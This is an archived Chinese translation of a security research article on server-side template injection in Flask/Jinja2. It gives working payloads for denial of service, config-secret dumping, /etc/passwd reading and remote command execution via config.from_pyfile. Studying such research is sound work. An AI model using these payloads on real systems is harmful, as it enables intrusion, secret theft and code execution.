# Exploring SSTI in Flask/Jinja2
Author: 乌云历史资料库 (@wooyun_archive)
Published: 2016-03-16T08:07:00Z
Canonical: https://wepostx.com/topics/133
> 乌云历史资料归档
>
> **原始作者：** Larry
> **原始编号：** superkieran-wooyundrops:1092
> **原始发布时间：** 2016-03-16 16:07
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**
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Part1: [https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2/](https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2/)
Part2: [https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/](https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/)
## Part 1
如果你从未听过服务端模板注入（SSTI）攻击，或者不太了解它是个什么东西的话，建议在继续浏览本文之前可以阅读一下[James Kettle](https://twitter.com/albinowax)写的[这篇文章](http://blog.portswigger.net/2015/08/server-side-template-injection.html)。
作为安全从业者，我们都是在帮助企业做一些基于风险的决策。因为风险是影响和属性的产物，所以我们在不知道一个漏洞的真实影响力的情况下，无法正确地计算出相应的风险值。作为一个经常使用Flask框架的开发者，James的研究促使我去弄清楚，SSTI对基于Flask/Jinja2开发堆栈的应用程序的影响有多大。这篇文章就是我研究的结果。如果你想在深入之前了解更多的背景知识，你可以查看一下[Ryan Reid](https://twitter.com/_aur3lius)写的[这篇文章](https://nvisium.com/blog/2015/12/07/injecting-flask/)，其中提供了在Flask/Jinja2应用中更多有关SSTI的信息。
# 0x00 Setup
为了评估在Flask/Jinja2堆栈中SSTI的影响，让我们建立一个小小的poc程序，代码如下。
```text
#!python @app.errorhandler(404) def page_not_found(e): template = '''{%% extends "layout.html" %%} {%% block body %%}
Oops! That page doesn't exist.
%s
{%% endblock %%} ''' % (request.url) return render_template_string(template), 404
```
在这段代码的背后，该开发者觉得为一个小小的404页面创建一个单独的模板文件可能会有些愚蠢了，所以他就在404视图功能当中创建了一个模板字符串。该开发者想要回显出用户输入的错误URL；但该开发者选择使用字符串格式化，来将URL动态地加入到模板字符串中，而不是通过render_template_string函数将URL传递进入模板内容当中。感觉相当合理，对不对？这是我见过最糟的了。
在测试这项功能的时候，我们看到了预期的效果。
看到这种情况大多数人马上会想到XSS，他们的想法是正确的。在URL的尾部加上就触发了一个XSS漏洞。
目标代码很容易被XSS，但是在James的文章中，他指出XSS很有可是SSTI的一个迹象。现在这种情况就是一个很好的例子。如果我们更加深入一点，在URL的末尾添加上{{ 7+7 }}，我们可以看到模板引擎计算了数学表达式，应用程序在响应的时候将其解析成14。
我们现在已经在目标应用程序中发现了SSTI漏洞。
# 0x01 Analysis
由于我们要得到一个可用的exp，下一步就是深入到模板环境当中，通过SSTI漏洞来寻找出可供攻击者利用的点。我们修改一下poc程序中存在漏洞的预览功能，如下所示。
```text
#!python @app.errorhandler(404) def page_not_found(e): template = '''{%% extends "layout.html" %%} {%% block body %%}
Oops! That page doesn't exist.
%s
{%% endblock %%} ''' % (request.url) return render_template_string(template, dir=dir, help=help, locals=locals, ), 404
```
我们将dir, help,和locals这些内建函数传入到render_template_string函数中，通过函数调用将其加入到模板环境中，从而使用它们通过漏洞进行内省，来发现模板程序上可利用的点。
让我们稍微暂停一下，探讨探讨文档中关于模板内容是怎么说的。这里有几个模板内容中对象的最终来源。
- [Jinja globals](http://jinja.pocoo.org/docs/dev/templates/#builtin-globals)
- [Flask template globals](http://flask.pocoo.org/docs/0.10/templating/#standard-context)
- 开发者自己添加的对象
我们最关心的是第1点和第2点，因为它们通常都是默认的设置，在我们发现存在SSTI的任何Flask/Jinja2堆栈程序中都是可用的。第3点是依赖于应用程序的，而且有很多种实现的方式。这篇[stackoverflow discussion](http://stackoverflow.com/questions/6036082/call-a-python-function-from-jinja2)的讨论当中就包含了几个例子。虽然我们在这篇文章中不会深入地讨论第3点，但这也是在代码审计相关Flask/Jinja2堆栈应用程序源码时必须要考虑到的。
为了使用内省继续研究，我们的方法应当如下。
- 阅读文档！
- 使用dir内省locals对象，在模板内容中寻找一切可用的东西。
- 使用dir和help深入了解所有的对象
- 分析任何有趣的Python源代码（毕竟在堆栈中一切都是开源的）
# 0x02 Results
通过内省request对象我们来进行第一个有趣的探索发现。request对象是一个Flask模板全局变量，代表“当前请求对象（flask.request）”。当你在视图中访问request对象时，它包含了你预期想看到的所有信息。在request对象中有一个叫做environ的对象。request.environ是一个字典，其中包含和服务器环境相关的对象。该字典当中有一个shutdown_server的方法，相应的key值为werkzeug.server.shutdown。所以猜猜看我们向服务端注入{{ request.environ['werkzeug.server.shutdown']() }}会发生什么？没错，会产生一个及其低级别的拒绝服务。当使用gunicorn运行应用程序时就不会存在这个方法，所以漏洞就有可能受到开发环境的限制。
我们第二个有趣的发现来自于内省config对象。config对象是一个Flask模板全局变量，代表“当前配置对象（flask.config）”。它是一个类似于字典的对象，其中包含了应用程序所有的配置值。在大多数情况下，会包含数据库连接字符串，第三方服务凭据，SECRET_KEY之类的敏感信息。注入payload{{ config.items() }}就可以轻松查看这些配置了。
不要认为在环境变量中存储这些配置选项就可以抵御这种信息泄露。一旦相关的配置值被框架解析后，config对象就会把它们全部包含进去。
我们最有趣的发现也来自于内省config对象。虽然config对象是一个类似于字典的对象，但它也是包含若干独特方法的子类：from_envvar，from_object，from_pyfile，以及root_path。最后让我们深入进去看看源代码。以下的代码是Config对象中的from_object方法，flask/config.py。
```text
#!python def from_object(self, obj): """Updates the values from the given object. An object can be of one of the following two types: - a string: in this case the object with that name will be imported - an actual object reference: that object is used directly Objects are usually either modules or classes. Just the uppercase variables in that object are stored in the config. Example usage:: app.config.from_object('yourapplication.default_config') from yourapplication import default_config app.config.from_object(default_config) You should not use this function to load the actual configuration but rather configuration defaults. The actual config should be loaded with :meth:`from_pyfile` and ideally from a location not within the package because the package might be installed system wide. :param obj: an import name or object """ if isinstance(obj, string_types): obj = import_string(obj) for key in dir(obj): if key.isupper(): self[key] = getattr(obj, key) def __repr__(self): return '<%s %s>' % (self.__class__.__name__, dict.__repr__(self))
```
我们可以看到，如果我们将字符串对象传递给from_object方法，它会将该字符串传递给werkzeug/utils.py模块的import_string方法，该方法会从路径中导入名字匹配的任何模块并将其返回。
```text
#!python def import_string(import_name, silent=False): """Imports an object based on a string. This is useful if you want to use import paths as endpoints or something similar. An import path can be specified either in dotted notation (``xml.sax.saxutils.escape``) or with a colon as object delimiter (``xml.sax.saxutils:escape``). If `silent` is True the return value will be `None` if the import fails. :param import_name: the dotted name for the object to import. :param silent: if set to `True` import errors are ignored and `None` is returned instead. :return: imported object """ # force the import name to automatically convert to strings # __import__ is not able to handle unicode strings in the fromlist # if the module is a package import_name = str(import_name).replace(':', '.') try: try: __import__(import_name) except ImportError: if '.' not in import_name: raise else: return sys.modules[import_name] module_name, obj_name = import_name.rsplit('.', 1) try: module = __import__(module_name, None, None, [obj_name]) except ImportError: # support importing modules not yet set up by the parent module # (or package for that matter) module = import_string(module_name) try: return getattr(module, obj_name) except AttributeError as e: raise ImportError(e) except ImportError as e: if not silent: reraise( ImportStringError, ImportStringError(import_name, e), sys.exc_info()[2])
```
对于新加载的模块，from_object方法会将那些变量名全是大写的属性添加到config对象中。其中有趣的地方就是，添加到config对象的属性会保持原有的类型，这意味着通过config对象，我们可以从模板内容中调用添加的函数。为了证明这一点，我们使用SSTI漏洞注入{{ config.items() }}，可以看到当前的整个配置选项。
再注入{{ config.from_object('os') }}，这下就会在config对象中添加那些在os库中变量名全是大写的属性。再次注入{{ config.items() }}，就可以发现新的配置选项。同样也需要注意这些配置选项的类型。
现在通过SSTI漏洞，我们可以调用添加到config对象中的任何可调用对象。下一步就是寻找可导入模块的相关功能，再加以利用逃逸出模板沙盒。
以下的脚本复制了from_object和import_string的功能，并分析整个Python标准库中可导入的项目。
```text
#!python #!/usr/bin/env python from stdlib_list import stdlib_list import argparse import sys def import_string(import_name, silent=True): import_name = str(import_name).replace(':', '.') try: try: __import__(import_name) except ImportError: if '.' not in import_name: raise else: return sys.modules[import_name] module_name, obj_name = import_name.rsplit('.', 1) try: module = __import__(module_name, None, None, [obj_name]) except ImportError: # support importing modules not yet set up by the parent module # (or package for that matter) module = import_string(module_name) try: return getattr(module, obj_name) except AttributeError as e: raise ImportError(e) except ImportError as e: if not silent: raise class ScanManager(object): def __init__(self, version='2.6'): self.libs = stdlib_list(version) def from_object(self, obj): obj = import_string(obj) config = {} for key in dir(obj): if key.isupper(): config[key] = getattr(obj, key) return config def scan_source(self): for lib in self.libs: config = self.from_object(lib) if config: conflen = len(max(config.keys(), key=len)) for key in sorted(config.keys()): print('[{0}] {1} => {2}'.format(lib, key.ljust(conflen), repr(config[key]))) def main(): # parse arguments ap = argparse.ArgumentParser() ap.add_argument('version') args = ap.parse_args() # creat a scanner instance sm = ScanManager(args.version) print('\n[{module}] {config key} => {config value}\n') sm.scan_source() # start of main code if __name__ == '__main__': main()
```
以下是脚本使用Python 2.7运行后的简短输出，其中包括了大多数可导入的有趣项目。
```text
#!shell (venv)macbook-pro:search lanmaster$ ./search.py 2.7 [{module}] {config key} => {config value} ... [ctypes] CFUNCTYPE => ... [ctypes] PYFUNCTYPE => ... [distutils.archive_util] ARCHIVE_FORMATS => {'gztar': (, [('compress', 'gzip')], "gzip'ed tar-file"), 'ztar': (, [('compress', 'compress')], 'compressed tar file'), 'bztar': (, [('compress', 'bzip2')], "bzip2'ed tar-file"), 'zip': (, [], 'ZIP file'), 'tar': (, [('compress', None)], 'uncompressed tar file')} ... [ftplib] FTP => [ftplib] FTP_TLS => ... [httplib] HTTP => [httplib] HTTPS => ... [ic] IC => ... [shutil] _ARCHIVE_FORMATS => {'gztar': (, [('compress', 'gzip')], "gzip'ed tar-file"), 'bztar': (, [('compress', 'bzip2')], "bzip2'ed tar-file"), 'zip': (, [], 'ZIP file'), 'tar': (, [('compress', None)], 'uncompressed tar file')} ... [xml language=".dom.pulldom"][/xml] SAX2DOM => ... [xml language=".etree.ElementTree"][/xml] XML => [xml language=".etree.ElementTree"][/xml] XMLID => ...
```
在这里，我们对一些有趣的项目使用我们的方法，以期望寻找逃逸模板沙盒的办法。
总而言之，我没能够从这些项目中找到沙盒逃逸的办法。但是为了共享研究，下面给出我对其研究的一些附加信息。另外请注意，我没有穷尽所有的可能性，还是有进一步研究的可能性。
## ftplib
这里我们有使用ftplib.FTP对象的可能性，可以回连至我们控制的一台服务器，并且从受影响的服务器上传文件。我们也可以从一台服务器上下载文件到受影响的服务器上，并且使用config.from_pyfile方法执行相关内容。对ftplib的文档和源代码分析表明，ftplib需要打开文件句柄才能做到以上几点，因为在模板沙盒中open内建函数是禁止的，似乎并没有创建文件句柄的方法。
## httplib
这里我们有使用httplib.HTTP对象的可能性，可以使用文件协议file://来加载本地文件系统上文件的URL。不幸的是，httplib不支持文件协议处理程序。
## xml.etree.ElementTree
这里我们有使用xml.etree.ElementTree.XML对象的可能型，可以使用用户自定义的实体从文件系统中加载文件。然而，从[这里](https://docs.python.org/2/library/xml.html#xml-vulnerabilities)可以知道，etree不支持用户自定义的实体。
## xml.dom.pulldom
虽然xml.etree.ElementTree模块不支持用户自定义的实体，但是pulldom模块支持。然而我们还是受限于xml.dom.pulldom.SAX2DOM类，因为其并没有通过对象接口加载XML的方法。
# 0x03 Conclusion
虽然我们还没有发现逃逸模板沙盒的方法，但我们已经在Flask/Jinja2开发堆栈中，确定SSTI漏洞的影响有所进展。我肯定这里有些额外的挖掘工作需要去做，我打算继续下去，但我也鼓励其他人进行挖掘和探索。当我在研究中发现有意思的项目的时候，我会在这里更新相关文章。
# Part 2
最近我写了一片[文章](http://www.lanmaster53.com/2016/03/exploring-ssti-flask-jinja2/)，是关于在使用Flask/Jinja2开发堆栈的应用程序中，探索服务端模板注入攻击（SSTI）的真实影响。我最初的目标是找到访问文件或操作系统的方法。虽然我之前是无法做到的，但是借由一些facebook对于第一篇文章的反馈，我已经能够实现我的目标了。本文就是我进一步研究的结果。
# 0x00 The Nudge
对于最初的那篇文章，[Nicolas G](https://twitter.com/_qll_)发表了如下推文。
如果你稍微使用一下这个payload，你很快就会发现它是行不通的。其中有好几个原因，我稍后会解释一下。然而关键问题就在于，这个payload使用了几个非常重要的内省组件，而在之前的研究中我们将其忽略了：__mro__和__subclasses__属性。
声明：以下的解释都是处于一个较高的水平。我并不希望表现得我很了解这些组件的样子。当我在处理一个语言或框架内部结构中的模糊部分时，大多数情况下我都只是尝试一下，看它是否会像我预期的那样做出反应，但我并不全知道结果背后的原因是什么。我仍在学习这些属性背后的缘由，但我还是想给你一些相关介绍。
__mro__中的MRO代表方法解析顺序，并且在[这里](https://docs.python.org/release/2.6.4/library/stdtypes.html#class.__mro__)定义为，“是一个包含类的元组，而其中的类就是在方法解析的过程中在寻找父类时需要考虑的类”。__mro__属性以包含类的元组来显示对象的继承关系，它的父类，父类的父类，一直向上到object（如果是使用新式类的话）。它是每个对象的元类属性，但它却是一个隐藏属性，因为Python在进行内省时明确地将它从dir的输出中移除了（[见Objects/object.c的第1812行](http://hg.python.org/cpython/file/3a1db0d2747e/Objects/object.c#l1812)）。
__subclasses__属性则在[这里](https://docs.python.org/release/2.6.4/library/stdtypes.html#class.__subclasses__)被定义为一个方法，“每个新式类保留对其直接子类的一个弱引用列表。此方法返回那些引用还存在的子类”。
简而言之，__mro__让我们到达当前Python环境中的继承对象树，而__subclasses__又让我们回来了。所以对于Flask/Jinja2的SSTI漏洞更好的利用会造成什么影响呢？让我们以新式的对象开始，例如字符串类型，可以使用__mro__达到继承树的顶端object类，然后再使用__subclasses__，可以在Python环境中向下达到每一个新式对象。是的，这就使我们能够访问到当前Python环境中加载的每一个类。所以我们该如何利用这个新get的技能？
# 0x02 Exploitation
在这里需要考虑一些事情。Python环境当中将会包括：
- 所有Flask应用程序产生的对象
- 目标程序自定义的对象
我们着眼于更普遍的漏洞利用，所以我们想要搭建尽可能接近原生态Flask的测试环境。我们向应用程序中导入的库和第三方模块越多，我们攻击向量的普遍性就越小。我们之前的poc程序很适合用来测试，所以我们就继续使用它。
我们将要做的就是，在不修改任何源代码的情况下寻找一个exp向量。在之前的文章中，我们向漏洞中添加了一些功能来进行内省。但在这里就不再是必须的了。
我们要做的第一件事就是，选择一个新式对象，用它来访问object类。我们简单地使用''，一个空字符串，对象类型为str。然后我们就可以使用__mro__属性来访问对象的父类。将{{ ''.__class__.__mro__ }}作为payload注入到SSTI漏洞点当中。
可以看到返回了我们之前讨论过的元组。因为我们要回退到object类，我们就使用索引2来选择object类。现在我们到达了object类，我们使用__subclasses__属性来dump应用程序中使用的所有类。将{{ ''.__class__.__mro__[2].__subclasses__() }}注入到SSTI漏洞点当中。
正如你所见，这里输出了很多东西。在我使用的目标程序中，有572个可用的类。这些会让事情变得棘手，而且也是之前推特当中payload不能运行的原因。要记住，并不是每个应用程序的Python环境都是一样的。我们的目标就是寻找有用的方法来访问相关的文件或操作系统。在所有的应用程序当中，不可能都使用类似于用subprocess.Popen这样不常见的类，换一种情况就有可能无法利用了，就像之前那个推特中的payload一样，就我发现的而言，在原生态的Flask中这种payload是无法利用的。幸运的是，可用利用原生态Flask的特性来让我们实现类似的行为。
如果你梳理了一下之前payload的输出，你就会发现这个类。这是一个对文件系统访问的关键点。尽管open是创建file对象后的内建函数，但是file类也能够实例化文件对象，而且如果我们实例化了一个文件对象，那么我们就可用使用类似于read的方法来读取相关内容。为了证明这一点，找到file类的索引，在我的环境中类的索引是40，我们就注入{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}。
所以现在我们就证明了，通过Flask/Jinja2中的SSTI进行任意文件读取是有可能的，但是我们还没有完全搞定。在这里我的目标是远程代码/命令执行。
在上一篇文章当中提到了好几种config对象的方法，可以将相关对象加载进入Flask的配置环境中。其中一个方法就是from_pyfile方法。以下的代码是Config类中的from_pyfile方法，flask/config.py。
```text
#!python def from_pyfile(self, filename, silent=False): """Updates the values in the config from a Python file. This function behaves as if the file was imported as module with the :meth:`from_object` function. :param filename: the filename of the config. This can either be an absolute filename or a filename relative to the root path. :param silent: set to `True` if you want silent failure for missing files. .. versionadded:: 0.7 `silent` parameter. """ filename = os.path.join(self.root_path, filename) d = imp.new_module('config') d.__file__ = filename try: with open(filename) as config_file: exec(compile(config_file.read(), filename, 'exec'), d.__dict__) except IOError as e: if silent and e.errno in (errno.ENOENT, errno.EISDIR): return False e.strerror = 'Unable to load configuration file (%s)' % e.strerror raise self.from_object(d) return True
```
这里有一对有意思的东西。最明显的就是将一个文件的路径作为参数传递进去，并且针对文件中的内容使用compile函数。如果我们能向操作系统中写文件的话那事情就变得简单了，不是吗？嗯，正如我们刚才讨论过的，我们可以做到！我们可以使用之前提到的file类不仅去读文件，而且也可以向目标服务器的可写入路径中写文件。然后我们再通过SSTI漏洞调用from_pyfile方法去compile文件并执行其中的内容。这就是一个二次进攻。首先，将{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write(''') }}注入到SSTI漏洞点。然后在通过注入{{ config.from_pyfile('/tmp/owned.cfg') }}调用编译过程。该代码在编译时将会被执行。这就实现了远程代码执行。
让我来更深入地研究一下。虽然执行代码已经足够了，但是我们为了执行每个代码块必须经过多个步骤，这些过程是很乏味的。让我们充分地利用from_pyfile方法来达到我们预期的目的，并且向config对象中添加一些有用的东西。将{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}注入到SSTI漏洞点。这就会在远程服务器上写一个文件，当其被编译的时候，就可以从subprocess模块中导入check_output方法，并将其设置成一个名为RUNCMD变量。如果你回忆一下之前的文章，你就会知道因为RUNCMD为一个大写的变量名，就可以被添加到Flaskconfig对象中。
注入{{ config.from_pyfile('/tmp/owned.cfg') }}来将新的项目添加到config对象中。注意以下两幅图一前一后的差异。
现在我们就可以调用新的配置选项来执行远程命令了。可以将{{ config['RUNCMD']('/usr/bin/id',shell=True) }}注入到SSTI漏洞点来进行证明。
远程代码成功执行。
# 0x02 Conclusion
现在，我们可以进行Flask/Jinja2模板沙盒逃逸了，并且可以得出结论：SSTI在Flask/Jinja2环境中的影响是巨大的。
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